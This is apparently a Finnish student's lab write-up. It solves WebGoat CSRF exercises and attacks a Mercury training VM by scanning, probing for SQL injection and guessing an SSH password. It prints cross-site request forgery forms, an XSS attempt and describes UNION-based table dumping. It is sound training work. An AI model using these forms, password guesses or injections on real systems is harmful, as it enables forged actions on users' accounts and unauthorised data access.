Vaihdoin " merkin ''' ja kokeilin uudelleen. Merkkien vaihtaminen toimi, sillä nyt komento katkesi jälkimmäiseen " merkkiin.

Nyt matka tyssäsi jälkimmäisiin lainausmerkkeihin.

Vaihdoin jälkimmäiset lainausmerkit ja yritin uudelleen. Nyt selaimeen eikä Inspectoriin jäänyt mitään merkkejä JavaScript komennosta.

Sivulla on toinenkin painike nimeltä button. Määrittelin linkkiin, että klikataan ensimmäistä [0] painiketta.

// cat /var/www/html/index.html      
<!DOCTYPE html>
<html>
  <head>
    <meta charset="utf-8">
    <title>foo</title>
  </head>
  <body>
    <p>
      <a href="http://localhost:8080/WebGoat/start.mvc#test/<script>document.getElementsByName('''button''')[0].click();/">click me</a>
    </p>
  </body>
</html>

Klikkasin linkkiä, mutta sama tulos kuin edellisessä.

Tässä vaiheessa on hyvä huomata, että reitti ja linkki ovat kokonaan vääriä: ...start.mvc#test... ei osoita kyseisen tehtävän sivuun millään tavalla. Vaihdoin linkin osoittamaan tehtäväsivulle.

// $ cat /var/www/html/index.html      
<!DOCTYPE html>
<html>
  <head>
    <meta charset="utf-8">
    <title>foo</title>
  </head>
  <body>
    <p>
      <a href="http://localhost:8080/WebGoat/start.mvc#lesson/CSRF.lesson/2<script>document.getElementsByName('''button''')[0].click();">click me</a>
    </p>
  </body>
</html>

Ei toimi ei. Nyt pitää etsiä vinkkiä, jotta pääsen eteenpäin. Googlasin walkthrougn, josta selvisi että lähdin täysin väärille raiteille. Alussa olin kiinnittänyt huomiota kutsuttavaan endpointiin action="/WebGoat/csrf/basic-get-flag", mutta jostain syystä skippasin sen kokeilemisen täysin. Omalle sivulle tulee lisätä kopio tehtäväsivulla olevasta lomakkeesta ja vaihtaa muokata kutsuttavan endpointin syntaksi oikeaksi.

// $ cat /var/www/html/index.html      
<!DOCTYPE html>
<html>
  <head>
    <meta charset="utf-8">
    <title>foo</title>
  </head>
  <body>
    <p>
      <form id="basic-csrf-get" accept-charset="UNKNOWN" method="POST"
        name="form1" target="_blank" successcallback="" action="http://localhost:8080/WebGoat/csrf/basic-get-flag">
        <input name="csrf" type="hidden" value="false">
        <input type="submit" name="submit">
      </form>
    </p>
  </body>
</html>

Pyyntö tuli nyt eri hostilta.
Tehtävä suoritettu.

4 “Post a review on someone else’s behalf”

Tehtävässä pitää esiintyä sisäänkirjautuneena käyttäjänä ja tehdä arvostelu tämän nimissä. Avasin WebGoatissa Inspectorin, etsin kohdelomakkeen ja kopioin sen sisällön omalle sivulleni.

// $ cat /var/www/html/index.html      
<!DOCTYPE html>
<html>
  <head>
    <meta charset="utf-8">
    <title>foo</title>
  </head>
  <body>
   <form id="csrf-review" class="attack-form" accept-charset="UNKNOWN" method="POST" name="review-form" successcallback=""
   action="http://localhost:8080/WebGoat/csrf/review">
     <input id="reviewText" class="form-control" name="reviewText" placeholder="Add a Review" type="text">
     <input id="reviewStars class="form-control" name="stars" type="text">
     <input type="hidden" name="validateReq" value="2aa14227b9a13d0bede0388a7fba9aa9">
     <input type="submit" name="submit" value="Submit review">
   </form>
  </body>
</html>

Oma sivu.
Vastaus onnistuneesta suorituksesta.
Toisesta hostista lähettämäni viesti.

b) Attakin alatekniikat. Demonstroi kaksi (2) alatekniikkaa (subtechnique) ATT&CK kehikosta. Tässä pitää siis käyttää näitä käytännössä johonkin harjoitusmaaliin. Voit käyttää haluamiasi valmiita työkaluja tai koodata / skriptata itse. Voit valita valmiin harjoitusmaalin tai tehdä sen itse. Muista, että myös tiedustelussa pitää noudattaa lakia, etiikkaa, rajauksia (scope) ja hyviä tapoja.

Active Scanning: Scanning IP Blocks

Asensin uuden Mercury-maalikoneen. Tein verkkoon ping sweepin -sn disable port scan ja löysin uuden koneen.

Uusi kone 192.168.56.104

Active Scanning: Vulnerability Scanning

Porttiskannasin avoimet portit ja niiden versionumerot ja OS-version (-A). Portissa :8080 pyörii Apachen mod_wsgi moduulilla Python web-applikaatio.

Porttiskannauksen tulos.
Palvelimen vastaus selaimessa.

Kokeilin kepillä jäätä ja etsin login-sivua. Sen sijaan palvelin palautti tiedon testiympäristössä olevasta applikaatiosta ja /mercuryfacts endpointista.

Wep-app pyörii testiympäristössä ja palauttaa liikaa tietoa default-virhesivun sijaan.

Endpoint antoi painikkeen, jolla voi ladata sattumanvaraisen faktan ja kehitys todo-listan.

HTML ei ole missään nimessä validia.

Selvästi kohteena on users taulu. Turvallisempi tapa olisi käyttää ORM-tekniikkaa, joka toimii turvallisena välikätenä käyttäjäsyötteen ja tietokannan välillä. TODO-listan perusteella sovellus käyttää raakoja SQL-komentoja vailla minkäänlaista hygieniaa.

Applikaatio on SQL-injektioille haavoittuva.

Ilmeisesti tietokannasta haettava mercuryfact noudetaan tietokannasta URLiin syötettävän id-numeron perusteella.

Fakta haetaan tietokannasta id:n perusteella
Sovellus antaa valmiita SQL-komentoja
Sovellusta ylläpitää webmaster niminen käyttäjä

Kokeilin kepillä jäätä ja testasin tuloksetta password, webmaster, 1234 ja qwerty.

$ ssh webmaster@192.168.56.104

Data from Local System

Oikea syntaksi ei arvailuiden ja tovin googlailun perusteella tuottanut tulosta. Apua löysin täältä ja kanssakurssilaisen Juuson viimeviikkoisesta raportista. UNION komennolla voidaan yhdistää samaan tulostauluun SELECT komentoja useammasta eri taulusta.

Testasin toimiviaa syntaksia facts tauluun ja sain tulostettua sen kokonaisuudessaan. Nyt kun oikea syntaksi löytyi voin jatkaa pääsyä kohti users taulua.

SQL injektiolla tulostettu taulu

Murtautuminen jatkuu myöhemmin

Leave a Reply